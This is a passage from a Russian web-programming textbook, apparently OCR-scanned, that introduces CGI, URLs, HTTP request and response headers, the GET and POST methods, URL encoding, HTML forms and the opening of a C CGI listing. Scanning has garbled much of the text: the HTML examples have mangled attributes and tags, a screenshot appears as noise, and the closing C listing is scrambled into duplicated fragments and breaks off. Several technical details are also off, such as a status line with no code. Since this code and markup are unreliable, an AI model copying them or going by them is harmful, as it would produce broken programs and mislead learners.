В этой и следующей главах мы будем разбирать основы традиционного CGI-программирования, не касаясь напрямую РНР. В качестве языка для примеров выбран Си, поскольку его компиляторы можно найти практически в любой операционной системе, и по той причине, что он "наиболее красиво" показывает, почему его не следует использовать в Web-программировании. Да-да, это не опечатка. Вскоре вы поймете, что я хотел сказать.

Что такое CGI?

Итак, мы набираем в нашем браузере

http://www.somehost.com:80/path/to/document.ext

Мы ожидаем, что сейчас получим HTML-документ (или документ другого формата — например, рисунок). Иными словами, мы рассчитываем, что на хосте в каталоге /path/to/ расположен файл document. ext, который нам сейчас и доставят (передаст его, кстати, Web-сервер, подключенный к порту 80 на сервере).

Однако на самом деле ситуация несколько иная. По двум причинам.

□ Путь /path/to/, ровно как и файл document.ext на хосте может вообще не существовать. Ведь администратор сервера имеет возможность задать псевдоним (alias) для любого объекта на сервере. Кроме того, даже если и не назначено никакого псевдонима, все равно имеется возможность так написать программы для Web-сервера, что они будут "перехватывать" каждое обращение к таким путям и соответствующим образом реагировать на это (пример рассмотрен в главе 7).

□ Файл document. ext может быть вовсе не текстовым документом, а программой, которая в ответ на наш запрос молниеносно запустится, не менее стремительно выполнится и возвратит пользователю результаты своей работы, хотя бы в том же HTML-формате (или, разумеется, в любом другом, — например, это может быть изображение). Пользователь и не догадается, что на самом деле произошло. Для него все равно, загружает ли он документ или невольно запускает программу. Более того, он никак не сможет узнать, что же на самом деле случилось.

Последний пункт особенно впечатляющ. Если вы прониклись его идеей, значит, вы поняли в общих чертах, что такое CGI. Как раз CGI обеспечивает все то, что выглядит так прозрачно для пользователя. Традиционно программы, работающие в соответствии с соглашениями CGI, называют сценариями — скорее всего из-за того, что в большинстве случаев их пишут на языках-интерпретаторах, подобных Basic (например, на Perl или РНР).

Задумаемся на мгновенье. Мы получили довольно мощный механизм, который позволяет нам, в частности, формировать документы "на лету". К примеру, пусть нам нужно, чтобы в каком-то документе проставлялись текущая дата и время. Разумеется, мы не можем заранее прописать их в документе - ведь в зависимости от того, когда он будет загружен пользователем, эта дата должна меняться. Зато мы можем написать сценарий, который вычислит дату, вставит ее в документ и затем передаст его пользователю, который даже ничего и не заметит!

Однако в построенной нами модели не хватает одного звена. Действительно, предположим, нам нужно, чтобы время в нашей странице проставлялось на основе часового пояса пользователя. Но как сценарий узнает, какой часовой пояс у региона, в котором живет этот человек (или какую-нибудь другую информацию, которую может предоставить пользователь)? Видимо, должен быть какой-то механизм, который позволит пользователю не только получать, но также и передавать информацию серверу (в данном случае, например, поправку времени в часах относительно Москвы). И это тоже обеспечивает CGI. Но вернемся прежде снова к URL.

Секреты URL

Помните, я выше описывал, как выглядит URL? Каюсь, приврал. На самом деле URL имеет более "длинный" вид:

http://www.somehost.com:80/path/to/document.ext?parameters

Как нетрудно заметить, может существовать еще строка parameters, следующая после вопросительного знака. В некоторой степени эта строка аналогична командной строке ОС. В ней может быть все, что угодно, она может быть любой длины (однако следует учитывать, что некоторые символы

должны быть URL-закодированы, см. ниже). Вот как раз эта-то строка и передается CGI-сценарию.

С Замечание)

На самом деле существуют некоторые ограничения на длину строки параметров. Но нам приходится сталкиваться с ними слишком редко, чтобы имело смысл об этом говорить.

Вернемся к нашему предыдущему примеру. Теперь пользователь может указать свой часовой пояс сценарию, например, так:

http://www.somehost.com/script.cgi?time=+5

Сценарий с именем script.cgi, после того как он запустится и получит эту строку параметров, должен ее проанализировать (например, создать переменную time и присвоить ей значение +5, т. е. 5 часов вперед) и дальше работать как ему нужно. Обращаю ваше внимание на то, что принято параметры сценариев указывать именно В виде переменная=значение.

А если нужно передать несколько параметров (например, не только часовой пояс, но и имя пользователя)? Сделаем это следующим образом:

http://www.somehost.com/script.cgi?time=+5&name=Vasya

Опять же, принято разделять параметры с помощью символа &. Будем в дальнейшем придерживаться этого соглашения, поскольку именно таким образом поступают браузеры при обработке форм. (Видели когда-нибудь на странице несколько полей ввода и переключателей, а под ними кнопку "Отправить"? Это и есть форма, с ее помощью можно автоматизировать процесс передачи данных сценарию). Ну и, разумеется, сценарий опять же должен адекватно среагировать на эти параметры: провести разбор строки, создать переменные и т. д. Обращаю ваше внимание на то, что все эти действия придется программировать вручную, если мы хотим воспользоваться языком Си.

Так вот, такой способ посылки параметров сценарию (когда данные помещаются в командную строку URL) называется методом GET. Фактически, даже если не передается никаких параметров (например, при загрузке статической страницы), все равно применяется метод GET. Все? Нет, не все. Существует еще один распространенный способ (не менее распространенный) - метод POST, но давайте прежде рассмотрим, на каком языке "общаются" браузер и сервер.

Заголовки и метод GET

Задумаемся на минуту, что же происходит, когда мы набираем в браузере строку somestring и нажимаем <Enter>. Браузер посылает серверу запрос

Нет, конечно. Все немного сложнее. Он анализирует строку, выделяет из нее имя сервера и порт (а также имя протокола, но нам это сейчас не интересно), устанавливает соединение с Web-сервером по адресу и посылает ему что-то типа следующего:

GET somestring

. . . другая информация. . .

\n\n

Здесь означает символ перевода строки, а \п\п — два обязательных символа новой строки, которые являются маркером окончания запроса (точнее, окончания заголовков запроса). Пока мы не пошлем этот маркер, сервер не будет обрабатывать наш запрос.

Как видим, после GET-строки могут следовать и другиес информа

цией, разделенные символом перевода строки. Их обычно формирует браузер. Такие строки называются заголовками (headers), и их может быть сколько угодно. Протокол HTTP как раз и задает правила формирования и интерпретации этих заголовков.

Вот мы и начинаем знакомство с протоколом HTTP. Как видите, он представляет собой ни что иное, как просто набор заголовков, которыми обмениваются сервер и браузер, и еще пару соглашений насчет метода POST, которые мы вскоре рассмотрим.

Не все заголовки обрабатываются сервером — некоторые просто пересылаются запускаемому сценарию с помощью переменных окружения.

ные окружения представляют собой именованные значения параметров, которые операционная система (точнее, процесс-родитель) передает запущенной программе. Программа может с помощью специальных функций (их мы рассмотрим в следующей главе на примерах) получить значение любой установленной переменной окружения, указав ее имя. Именно так и должен поступатькогда захочет узнать значение того или иного за

головка запроса. К сожалению, набор передаваемых сценарию заголовков ограничен стандартами, и некоторые заголовки нельзя получить из сценария никаким способом (емунедоступна соответствующая переменная

окружения). Такие случаи мы будем оговаривать особо.

СЗамечание

Если быть до конца честным, то все-таки системный администратор может настроить сервер так, чтобы он посылал сценарию и те заголовки, которые по стандарту не передаются. Однако это выходит далеко за рамки Web- программирования, поэтому мы не будем останавливаться на этом вопросе.

Ниже приводятся некоторые заголовки запросов с иха также

имена переменных окружения, которые использует сервер для передачи их

Я указываю заголовки вместе с примерами в том

в котором они могут быть применены, иными словами, вместе с наиболее распространенными их значениями. Так будет несколько нагляднее.

GET

Формат: GET сценарий?параметры НТТР/1.О

Переменные окружения: REQUEST_URi; в переменной QUERY_STRING сохраняется значение параметры, в переменной REQUEST_METHOD — ключевое СЛОВО GET.

Этот заголовок является обязательным (если только не применяется метод POST) и определяет адрес запрашиваемого документа на сервере. Также задаются параметры, которые пересылаются сценарию (если сценарию ничего не передается, или же это обычная статическая страница, то все символы после знака вопроса и сам знак опускаются). Вместо строки НТТР/1 . о может быть указан и другой протокол — например, НТТР/1.1. Именно его соглашения и будут учитываться сервером при обработке данных, поступивших от пользователя, и других заголовков.

Строка сценарий?параметры задается в том же самом формате, в котором она входит в URL. Неплохо было бы назвать эту строку как-нибудь более реалистично, чтобы учесть возможность присутствия в ней командных параметров. Такое название действительно существует и звучит как URI (Universal Resource Identifier - Универсальный идентификатор ресурса). Очень часто его смешивают с понятием URL (вплоть до того, что это происходит даже в официальной документации по стандартам HTTP). Давайте договоримся, что в будущем я всегда буду называть словом URL полный путь к некоторой Web-странице вместе с параметрами, и условимся, что под словом URI будет пониматься его часть, расположенная после имени (или IP- адреса) хоста и номера порта.

POST

О Формат: POST сценарий?параметры НТТР/1.0

П Переменная окружения: REQUESTJJRI; в переменной QUERY_STRING сохраняется значение параметры, в переменной REQUEST_METHOD — слово POST.

Этот заголовок используется при передаче данных методом POST. Вскоре мы рассмотрим этот метод подробнее, а пока скажу лишь, что он отличается от метода GET тем, что данные можно передавать не только через командную строку, но и в конце всех заголовков.

Content-type

П Формат: Content-Type: application/x-www-form-urlencoded

О Переменная: CONTENT TYPE

Данный заголовок идентифицирует тип передаваемых данных. Обычно для этого указывается значение application/x-www-form-urlencoded, что означает формат, в котором все управляющие символы (отличные от алфавитноцифровых и других отображаемых) специальным образом кодируются. Это тот самый формат передачи, который используется методами GET и POST. Довольно распространен и другой формат, и называется он multipart/form-data. Мы разберем его, когда будем обсуждать вопрос, касающийся загрузки файлов на сервер.

Хочу обратить ваше внимание на то, что сервер никак не интерпретирует рассматриваемый заголовок, а просто передает его сценарию через переменную окружения.

User-Agent

П Формат: User-Agent: Mozilla/4.5 [en] (Win95; I)

Переменная окружения: HTTP_USER_AGENT

Уточняет версию браузера (в данном случае это Netscape Navigator).

Referer

П Формат: Referer: URL_aflpec

П Переменная окружения: HTTP_REFERER

Как правило, этот заголовок формируется браузером и содержит URL страницы, с которой осуществился переход на текущую страницу по гиперссылке. Впрочем, если вы пишете сценарий, который в целях безопасности отслеживает значение данного заголовка (например, для его запуска только с определенной страницы), помните, что умелый хакер всегда сможет подделать ЗаГОЛОВОК Referer.

С Замечание)

Вы, наверное, подумали, что слово referer пишется по-английски с двумя буквами "r". Да, вы правы. Однако те, кто придумывал стандарт HTTP, этого, видимо, не знали. Так что не позволяйте столь досадному факту ввести себя в заблуждение, когда будете в сценарии использовать переменную окружения HTTP_REFERER.

Content-length

П Формат: Content-length: длина

П Переменная окружения: CONTENT_LENGTH

Заголовок содержит строку, являющуюся десятичным представлением длины данных в байтах, передаваемых методом POST. Если задействуется метод GET, то этот заголовок отсутствует, и значит, переменная окружения не устанавливается.

Cookie

Формат: Cookie: значения_Соок!ез

Переменная окружения: HTTP_COOKIE

Здесь хранятся все Cookies в URL-кодировке (о Cookies мы подробнее поговорим в следующей главе).

Accept

О Формат: Accept: text/html, text/plain, image/gif, image/jpeg

Переменная окружения: HTTP_ACCEPT

В этом заголовке браузер перечисляет, какие типы документов он "понимает". Перечисление идет через запятую. К сожалению, в последнее время браузеры стали несколько небрежны и часто присылают в этом заголовке значение */*, что обозначает любой тип.

Существует еще множество заголовков запроса (часть из них востребуются только протоколом HTTP 1.1), но мы не будем на них задерживаться.

Эмуляция браузера через telnet

Между прочим, при передаче запроса браузер "притворяется" пользователем, который запустил telnet-клиента (программу, которая, грубо говоря, умеет подключаться к заданному IP-адресу и порту, посылать по нему то, что набирается на клавиатуре, и отображать на экране поступающие "снаружи" данные) и вводит строки заголовков вручную — т. е., в текстовом виде. Например, вместо того чтобы набрать в браузере http://www.somehost.com/, попробуйте в командной строке ОС (Unix, Windows 95/98/NT/2000 или любой другой) выполнить следующие команды (вместо <Enter> нажимая соответствующую клавишу):

telnet www.somehost.com 80<Enter>

GET /index.html HTTP/1.0<Enter>

<Enter>

Вы увидите, как перед вами промелькнут строки HTML-документа index.html. Очень рекомендую проделать описанную процедуру, чтобы избавиться от духа мистицизма при упоминании о протоколе HTTP. Все это не так сложно, как иногда может показаться.

Примечание j

Если у вас указанная процедура не удалась, и сервер все время шлет сообщение "Bad Request", то проверьте регистр символов, в котором вы набираете команды. Все буквы должны быть заглавными, а название протокола HTTP/1 . о — идти без пробелов.

Посмотрим теперь, как работает сервер. А происходит все следующим образом: он считывает все заголовки запроса и дожидается маркера "\n\n (или, что то же самое, "пустого" заголовка), а как только его получает, начинает разбираться — что же ему за информация пришла, и выполнять соответствующие действия.

С помощью заголовков реализуются такие механизмы, как контроль кодировок, Cookies, метод POST и т. д. Если же сервер не понимает какого-то заголовка, он его либо пропускает, либо жалуется отправителю (в зависимости от воли администратора, который настраивал сервер).

Метод POST

Мы подошли к сути метода POST. А что, если мы в предыдущем примере зададим вместо GET слово POST и после последнего заголовка (маркера \п\п) начнем передавать какие-то данные? В этом случае сервер их воспримет и также передаст сценарию. Только нужно не забыть проставить заголовок Content-length в соответствии с размером данных, например:

POST /script.cgi HTTP/1.0\n

Content-length: 5\n

\n

Test!

Сервер начнет обработку запроса, не дожидаясь передачи данных после маркера конца заголовков. Иными словами, сценарий запустится сразу же после отправки \п\п, а уж ждать или не ждать, пока придет строка Test! длиной 5 байтов — его дело.

Последнее означает, что сервер никак не интерпретирует POST-данные (точно так же, как он не интерпретирует некоторые заголовки), а пересылает их непосредственно сценарию. Но как же сценарий узнает, когда данные кончаются, т. е. когда ему прекращать чтение информации, поступившей от браузера? В этом ему поможет переменная окружения content-Length, и именно на нее следует ориентироваться. Чуть позже мы рассмотрим этот механизм подробнее.

Зачем нужен метод POST? В основном для того, чтобы передавать большие объемы данных. Например, при загрузке файлов через Web (см. ниже) или при обработке больших форм. Кроме того, метод POST часто используют для

эстетических целей: дело в том, что при применении GET, как вы, наверное, уже заметили, URL сценария становится довольно длинным и неизящным, а POST-запрос оставляет URL без изменения.

Кодировки и форматы данных

Ранее упоминалось, что и в методе GET, и в методе POST данные доставляются в URL-кодированном виде. Что это значит?

Уж не знаю, откуда взялась эта дурная традиция (может, из стремления сохранить совместимость с древними программами, которыми вот уже лет 20 никто не пользуется), но почему-то все Интернет-сервисы — начиная от E-mail и заканчивая Web — как-то очень "не любят" байты со значениями, превышающими 127. Поэтому применяется изощренный способ перекодировки, который все символы в диапазонах 0 .. 32 и 128 .. 256 представляет в URL-кодированном виде. Например, если нам нужно закодировать символ с шестнадцатеричным кодом ЭЕ, это будет выглядеть так: %9Е. Помимо этого, пробел представляется символом плюс (+). Так что будьте готовы к тому, что вашим сценариям будут передаваться данные именно в таком виде. В частности, все буквы кириллицы преобразуются в подобную абракадабру (соответственно, размер данных увеличивается примерно в 3 раза!). Поэтому программы должны всегда быть готовы перекодировать информацию туда- сюда-обратно.

Но это только пол-беды. Дело в том, что существует еще такая неприятная проблема, как кодировки символов кириллицы. И неприятно не столько то, что они существуют, сколько то, что они все не подчиняются никакому единому логическому правилу, в отличие он ASCII. Если при этом текст, который пришел, допустим, в кодировке KOI-8-R, просматривают в WIN- кодировке, получается редкостная путаница.

Казалось бы, чего сложного — выполнить автоматическое перекодирование в читабельный вид полученного текста (кстати говоря, относительно часто этот текст даже снабжен указанием, в какой же он кодировке). Однако, насмотревшись на разнообразные программные продукты, складывается такое впечатление, что эта проблема сложнее, чем создание искусственного интеллекта! А дело все в том, что "интеллектуальные" серверы вместо того, чтобы присылать и принимать текст всегда в фиксированной кодировке и переложить эту проблему на плечи браузеров, зачем-то сами занимаются перекодировкой. И браузеры в своем большинстве — тоже. Так что иногда бывает, что текст приходит "зашифрованным" с помощью каких-то двух экзотических кодировок, что окончательно его портит.

( Замечание J

Существуют даже специальные программы, которые пытаются раскодировать текст, который по ошибке был преобразован несколько раз и потому приобрел

нечитаемый вид. Одна из них — почтовый декодер Лебедева, работающий в online-режиме. Само наличие таких программ красноречиво свидетельствует, как далеко все зашло в вопросе о статусе русских кодировок.

Что может быть глупее? А все по той причине, что нет строгого стандарта на кириллицу и что, якобы, где-то в мире существуют браузеры, которые не умеют перекодировать информацию. Скажите на милость, зачем они тогда вообще нужны, если не умеют делать даже такой простой вещи, как табличные преобразования? Или это сделано для тех, кто читает Web-страницы не через браузер, а по telnet'y? И почему же из-за жалкой горстки пользователей должна страдать остальная часть населения страны?

Ну ладно-ладно, я уже успокоился. Прошу прощения, что влез на стол и кричал. Давайте продолжим.

Что такое формы

и для чего они нужны

Итак, мы знаем, что наиболее распространенными методами передачи данных между браузером и сценарием являются GET и POST. Однако вручную задавать строки параметров для сценариев и к тому же URL-кодировать их, согласитесь, довольно утомительно. Давайте посмотрим, что же язык HTML предлагает нам для облегчения жизни.

Сначала рассмотрим метод GET. Даже программисту довольно утомительно набирать параметры в URL вручную. Всякие там ?, & , % . Представьте себе пользователя, которого принуждают это делать. К счастью, существуют удобные возможности языка HTML, которые, конечно, поддерживаются браузерами. И хотя я уже замечал, что в этой книге будет лишь немного рассказано о HTML, о формах мы поговорим очень подробно.

Итак, пусть у нас на сервере в корневом каталоге размещен файл сценария script.cgi (наверное, вы уже заметили, что расширение cgi принято присваивать CGI-сценариям, хотя, как уже упоминалось, никто не мешает вам использовать любое другое слово). Этот сценарий распознает 2 параметра: name и аде. Где эти параметры задаются, мы пока не решили. При переходе по адресу http:// www.somehost.com/script. cgi он должен отработать и вывестиследующуюHTML-страницу:

<html><body>

Привет, name! Я знаю, Вам age лет!

</body></html>

Разумеется, при генерации страницы нужно name и age заменить на соответствующие значения, переданные в параметрах.

Передачапараметров"вручную"

Давайте будем включать параметры прямо в URL. в строку параметров. Таким образом, если запустить в браузере

http; / /www. semehost. com/script. egi?name=Vasya&age=20

мы получим страницу с нужным результатом:

<htmlxbody>

Привет, Vasya! Я знаю, Вам 20 лет!

</bodyx/html>

Заметьте, что мы разделяем параметры символом &, а также используем знак равенства =. Это неспроста. Сейчас мы обсудим, почему.

Использованиеформы

Как теперь нам сделать, чтобы пользователь мог в удобной форме ввести свое имя и возраст9 Очевидно, нам придется создать что-то вроде диалогового окна Windows, только в браузере. Итак, нам понадобится обычный HTML-документ (например, с именем form.html и расположенный в корневом каталоге) с элементами этого диалога — полями ввода текста и кнопкой, при нажатии на которую запустится наш сценарий. Текст этого документа приведен в листинге 2.1.

I Листинг 2.1. Документ/form.html с формой

<htmlxbody>

<form action=script.cgi method=GET>

Введите имя:

<input type=text name="name" уа1ие="Неизвестный"><Ьг>

Введите возраст:

<input type=text name="age" уа!ие="неопределенный"хЬг>

<input type=submit уа!ие="Нажмите кнопку!">

</bodyx/html>

Замечание)

Вы можете заметить, что некоторые атрибуты тэгов я написал в кавычках (например, name="age"), а некоторые — нет. Как показывает практика, везде, где это не конфликтует с синтаксисом HTML (то есть, в текстах, в которых нет пробелов и букв кириллицы), можно кавычки опускать. Мне лично нравится заключать значения полей name и value в кавычки, а остальные — писать без них. Правда, стандарт на язык HTML это не допускает (он требует обязательно-

го наличия кавычек), но большинство браузеров относится к этому весьма и весьма лояльно.

Загрузим наш документ в браузер. Получим примерно следующее:

-Iclxl-Iclxl^ZAhomelcrackertwwwlform html - Microsoft

-Iclxl

-Iclxl

Файл Правка Вид Переход | Избранное (►

...

Останови Обновить Домой ; ПОИСК

ТЬ -

Адрес | http://Vwvv.somehost.com/forrn.html

Введите имя: (Неизвестный

Введите возраст: (неопределенный

Нажмите кнопку! J

:.[ I ( 13 Мойкомпьютер

Рис. 2.1. HTML-форма

Теперь, если занести в поле пате свое имя, а в поле для возраста — возраст и нажать кнопку Нажмите кнопку!, браузер обратится к сценарию по URL, указанному в атрибуте action тэга <form> формы:

http://www.somehost.com/script.cgi

Он передаст через ? все параметры, которые помещены внутрь тэгов input в форме, отделяя их амперсандом (&). Имена полей и их значения будут разделены знаком =. Теперь вы понимаете, почему мы с самого начала использовали эти символы?

Итак, реальный URL, который будет сформирован браузером при старте сценария, будет таким (учитывая, что на странице был пользователь по имени Vasya и ему 20 лет):

http://www.somehost.com/script.cgi?name=Vasya&age=20

Самое, пожалуй, полезное, что можно вынести из рассмотренного примера, — то, что все UR L- перекодирования и преобразования осуществляются браузером автоматически. То есть, пользователю теперь совершенно не нужно об этом задумываться и ломать голову над путаницей шестнадцатеричных кодов и управляющих символов.

Абсолютный и относительный

путь к сценарию

Обратим внимание на поле action тэга <form>. Поскольку он не предваряется слэшем (/), то представляет собой относительный путь к сценарию.

То есть браузер при анализе тэга попытается выдать запрос на запуск сценария, имеющего имя script.cgi и расположенного в том же самом каталоге, что и форма (точнее, HTML-документ с формой).

( Замечание J

I Как вы, наверное, догадались, термин "каталог" здесь весьма условен. На самом-то деле имеется в виду не реальный каталог на сервере (о котором браузер, кстати, ничего не знает), а часть URL, предшествующая последнему символу / в полном URL файла с формой. В нашем случае это просто http://www.somehost.com. Заметьте, что здесь учитывается имя хоста. Как видим, все это мало похоже на обычную файловую спецификацию.

Однако можно указать и абсолютный путь, как на текущем, так и на другом хосте. В первом случае параметр action будет выглядеть примерно следующим образом:

<form action="/some/path/script.cgi">

Браузер определит, что это абсолютный путь в пределах текущего хоста (точнее, хоста, на котором расположен документ с формой) по наличию символа / впереди пути. Рекомендуется везде, где только возможно, пользоваться таким определением пути, всячески избегая указания абсолютного URL с именем хоста — конечно, за исключением тех ситуаций, когда ресурс размещен сразу на нескольких хостах (такое тоже иногда встречается).

Во втором случае получится приблизительно следующее:

<form action="http://www.other.com/any/script.cgi">

Еще раз обратите внимание на то, что браузеру совершенно все равно, где находится запускаемый сценарий — на том же хосте, что и форма, или нет. Это позволяет создавать сайты, расположенные на нескольких хостах, "прозрачно" для их посетителей. Вся идеология сети Интернет и службы World Wide Web построена на этой идее — возможности свободного перемещения (и ее легкости) по гиперссылкам, где бы ни находился сервер, на который они указывают.

Метод POST и формы

Что же теперь нужно сделать, чтобы послать данные не методом GET, а методом POST? Нетрудно догадаться: достаточно вместо method=GET указать method=POST. Больше ничего менять не надо.

Замечание)

Если не задать параметра action в тэге <form> вообще, то по умолчанию подразумевается метод GET.

Таким образом, мы можем теперь вообще не нагружать пользователя такой информацией, как имя сценария, его параметры и т. д. Он всегда будет иметь дело только с полями ввода текста, переключателями и кнопками формы, а также с гиперссылками.

Однако в рассмотренной схеме не все гладко с точки зрения простоты: сценарий один, а файла-то два (документ с формой и файл сценария). Есть простое обходное решение этой проблемы, которое рекомендуется применять всюду, где это только возможно: пусть сценарий в первую очередь проверяет, запущен ли он с параметрами или без них. Если параметров нет, то сценарий выдает пользователю HTML-документ с формой, в противном случае — результаты работы. Это удобно еще и потому, что, возможно, вы захотите, чтобы пользователь обязательно ввел свое имя. То есть, если он забудет это сделать, ему будет выдана все та же форма с сообщением напротив поля ввода для имени: "Извините, но Вы забыли ввести свое имя. Попробуйте еще, вдруг на этот раз получится?". А в следующей главе мы попутно рассмотрим, как проще всего определить, был запущен сценарий по нажатии кнопки или же просто набором его URL в браузере.

Замечание )

Приведенная схема минимизации количества документов стандартна и весьма универсальна (ее применют 99% сценариев, которые можно найти в Интернете). Она еще и удобна для пользователя, потому что не создает "мертвых" ссылок (любой URL сценария, который он наберет, пусть даже и без параметров, будет корректным). Однако программирование этой схемы на Си (и на некоторых других языках) вызывает определенные проблемы. Язык РНР таких проблем лишен.

Глава 3

CGI изнутри

До сих пор мы рассматривали лишь теоретические аспекты CGI. Мы знаем в общих чертах, как и что передается пользователю сервером и наоборот. Однако как же все-таки должна быть устроена CGI-программа (CGI- сценарий), чтобы работать с этой информацией? Откуда она ее вообще получает и куда должна выводить, чтобы переслать текст пользователю?

И это только небольшая часть вопросов, которые пока остаются открытыми. В этой главе я постараюсь вкратце описать, как же должны на самом деле быть устроены внутри CGI-сценарии. На мой взгляд, каждый программист обязан хотя бы в общих чертах знать, как работает то, что он использует - будь то операционная система (ОС) или удобный язык-интерпретатор для написания CGI-сценариев (каким является РНР). А значит, речь пойдет о программировании на Си. Я выбрал Си, т. к. это одно из самых лучших и лаконичных средств; кроме того, именно на Си чаще всего пишут те сценарии, которым требуется максимально критичное быстродействие (базы данных, поисковые системы, системы почтовой рассылки с сотнями тысяч пользователей и др.). В пользу этого языка говорит также и то, что его компиляторы можно встретить практически в любой сколько-нибудь серьезной ОС.

Тем не менее, вы не найдете в этой главе ни одной серьезной законченной программы на Си (за исключением разве что самой простой, типа "Hello, world!"). Несмотря на это, я попытаюсь описать практически все, что может понадобиться при программировании сценариев на Си (кроме работы с сокетами, — это тема для отдельной книги, да и, пожалуй, лишь косвенно примыкает к Web-программированию). По возможности я не буду привязываться к специфике конкретной ОС, ведь для CGI существует стандарт, независимый от операционной системы, на которой будет выполняться сценарий. Вооружившись материалом этой главы, можно написать самые разнообразные сценарии — от простых до самых сложных (правда, для последних потребуется также недюжинная сноровка).

И все-таки, моя цель — набросать общими мазками, как неудобно (повторюсь — именно неудобно!) программировать сценарии на языках, обычных для прикладного программиста (в том числе на Си и Си++). Как только вы проникнетесь этой идеей, мы плавно и не торопясь двинемся в мир РНР, где предусмотрены практически все удобства, так необходимые серьезному языку программирования сценариев.

Если вы не знакомы с языком Си, не отчаивайтесь. Все примеры хорошо комментированы, а сложные участки не нуждаются в непременном понимании "с первого прочтения". Еще раз оговорюсь, что материал этой и следующей глав предназначен для того, чтобы вы получили приблизительное представление о том, как же устроен протокол HTTP и как программы взаимодействуют с его помощью. Думаю, что без этих знаний невозможна никакая профессиональная работа на поприще Web-программирования. Так что не особенно расстраивайтесь, если вы совсем не знаете Си — ведь эта глава содержит гораздо больше, нежели просто описание набора Си- функций. В ней представлен материал, являющийся связующим звеном между CGI и HTML, детально описываются тэги форм и их наиболее полезные атрибуты, приемы создания запросов и многое другое. Все это, безусловно, понадобится нам и при программировании на РНР.

В то же время, изучая приведенные в этой главе примеры, вы можете и не проверять их на практике (особенно если у вас еще нет работающего Web- сервера), т. к. они (как это ни парадоксально звучит) предназначены лишь для теоретических целей. Сам не знаю, как это получилось, но, в конце концов, мне это нравится. Вам, надеюсь, понравится тоже

Передача документа

пользователю

Вначале рассмотрим более простой вопрос: как программа посылает свой ответ (то есть документ) пользователю.

А сделано это просто и логично (а главное, универсально и переносимо между операционными системами): сценарий просто помещает документ в стандартный поток вывода (на Си он называется stdout), который находится под контролем программного обеспечения сервера. Иными словами, программа работает так, как будто нет никакого пользователя, а нужно вывести текст прямо на "экран". (Это она так думает, на самом деле выводимая информация будет перенаправлена сервером в браузер пользователя. Ясно, что у сценария никакого "экрана" нет и быть не может.)

Ответ программы, как и запрос пользователя, должен состоять из заголовков. Иными словами, мы не можем просто направить документ в стандартный поток вывода: нам сначала нужно по крайней мере указать, в каком формате информация должна быть передана пользователю. Действительно, представьте, что произойдет, если браузер попытается отобразить GIF- рисунок в текстовом виде? В худшем случае вашим пользователям придется всю жизнь лечиться от заикания — особенно если до этого их просили ввести номер кредитной карточки.

Заголовки ответа

Заголовки ответа должны следовать точно в таком же формате, как и заголовки запроса, рассмотренные нами в предыдущей главе. А именно, это набор строк (завершающийся пустой строкой), каждая из которых представляет собой имя заголовка и его значение, разделенные двоеточием. Наличие пустого заголовка в конце также можно интерпретировать как два стоящих подряд обозначения \п\п. Затем, как обычно, могут следовать данные ответа, которые и являются документом, который будет отображен браузером.

Заголовок кода ответа

Однако здесь все же имеется одно отличие от формата, который используется в заголовках запроса. Дело в том, что первый заголовок ответа обязан иметь слегка специфичный вид — в нем не должно быть двоеточия. Он задает так называемый код ответа сервера и выглядит, например, так:

НТТР/1.1 ОК

или так:

НТТР/1.1 404 File Not Found

В первом примере заголовок говорит браузеру, что все в порядке и дальше следует некоторый документ. Во втором примере сообщается, что затребованный файл не был найден на сервере. Конечно, существует еще множество других кодов ошибок, но для нас они не представляют особого интереса, и вот почему.

Чаще всего (за исключением редких случаев) браузеры не обращают особого внимания на заголовок кода ответа, а просто выводят следующий за ним документ. Кроме того, такой заголовок формируется сервером, а в сценарии мы никак не можем его изменить (правда, есть специальный заголовок status, но мы не будем здесь о нем говорить). Поэтому я и не рассматриваю подробно этот вопрос в данной книге.

Вот другие наиболее распространенные заголовки ответа.

Content-type

О Формат: Content-type: т!те_тип; charset=koi8-r

Задает тип документа и его кодировку. Параметр charset задает кодировку документа (в нашем примере это K0I8-R). Поле т1те_тип определяет тип информации, которую содержит документ:

text /html — НТМ L-документ;

text/plain — простой текстовый файл;

О image/gif — GIF-изображение;

image/jpeg — JPG-изображение;

□ еще несколько десятков других типов.

Pragma

Формат: Pragma: no-cache

Запрещает кэширование документа браузером, так что при повторном визите на страницу браузер гарантированно загрузит ее снова, а не извлечет из своего кэша. Это может быть полезно, если страница содержит, например, динамический счетчик посещений.

Заголовок Pragma используется также и для других целей (и соответственно, после двоеточия находятся другие значения строки), но мы не будем их здесь рассматривать.

Location

Формат: Location: http://ww.otherhost.com/somepage.html

Этот заголовок особенный и определяет, что браузер пользователя должен немедленно перейти по указанному адресу, не дожидаясь тела документа ответа (как будто бы пользователь сам набрал в адресной строке нужный URL). Так что, очевидно, если вы собираетесь использовать заголовок Location, то никакого документа выводить не надо.

Замечание)

Рекомендуется всегда указывать в заголовке Location абсолютный путь вместе с именем хоста, а не относительный. Дело в том, что, как показывает практика, не все браузеры правильно реагируют на относительные пути и вытворяют все, что им заблагорассудится.

Внимание

В браузере Netscape имеется ошибка, проявляющаяся, когда сценарий выводит заголовок Location с указанием перейти на собственный URL (то есть, сам на себя, для этого даже придуман специальный термин — self-redirect). Ta- кое решение не так бесполезно, как кажется, и используется, например, в гостевых книгах. В этом случае Netscape прекрасно принимает ответ сценария, но затем почему-то сообщает о том, что "документ не содержит данных". Как решить указанную проблему, CM. е части V книги.

Set-cookie

Формат: Set-cookie: параметры_соок!е

Устанавливает Cookie в браузер пользователя. Позже в этой главе мы рассмотрим подробнее, что такое Cookies и как с ними работать.

Date

Формат: Date: Sat, 08 Jan 2000 11:56:26 GMT

Указывает браузеру дату отправки документа.

Server

Формат: Server: Apache/1.3.9 (Unix) PHP/3.0.12

Устанавливается сервером и указывает браузеру тип сервера и другую информацию о серверном программном обеспечении.

Пример CGI-сценария

Настало время привести небольшой сценарий на Си, который иллюстрирует некоторые возможности, которые были описаны выше (листинг 3.1).

!! Листинг 3.1. Простейший сценарий—

#include#include<time.h><time.h>////Нужна для инициализации функции rand()Нужна для инициализации функции rand()#include#include<stdio.h><stdio.h>////#include#include<stdlib.h><stdlib.h>////Включаем поддержку функций ввода/выводаА это — для поддержки функции rand()Включаем поддержку функций ввода/выводаА это — для поддержки функции rand()

#include

#include

<time.h>

<time.h>

//

//

Нужна для инициализации функции rand()

Нужна для инициализации функции rand()

#include

#include

<stdio.h>

<stdio.h>

//

//

#include

#include

<stdlib.h>

<stdlib.h>

//

//

Включаем поддержку функций ввода/вывода

А это — для поддержки функции rand()

Включаем поддержку функций ввода/вывода

А это — для поддержки функции rand()

// Главная функция. Именно она и запускается при старте сценария. void main(void) {

// инициализируем генератор случайных чисел

int Num; time_t t; srand(time(&t));

